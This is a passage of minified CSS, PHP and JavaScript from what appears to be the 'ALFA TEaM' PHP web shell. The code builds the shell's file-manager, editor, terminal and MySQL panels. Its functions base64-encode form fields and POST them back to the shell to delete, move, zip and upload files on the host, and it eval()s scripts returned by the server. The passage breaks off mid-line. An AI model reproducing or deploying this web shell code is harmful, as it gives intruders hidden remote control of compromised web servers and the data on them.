op:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php echo '
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{'.$csscode.'width:100px;height:100px;}
#a_loader img{'.$csscode.'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:'.alfa_getColor("header_values").';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:'.($GLOBALS['DB_NAME']['show_icons']=='1'?'0':'1').'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url('.__showicon('alfamini').');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url('.__showicon('btn').');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;'.(!@is_writable($GLOBALS['cwd'])?'}.dir{background-color:red;}':'}').'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}'.alfaCssLoadColors().'
</style>';
echo "<script type='text/javascript'>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."';
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var islinux = ".($GLOBALS['sys']!="win"?'true':'false').";
var post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?'true':'false').";";?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" 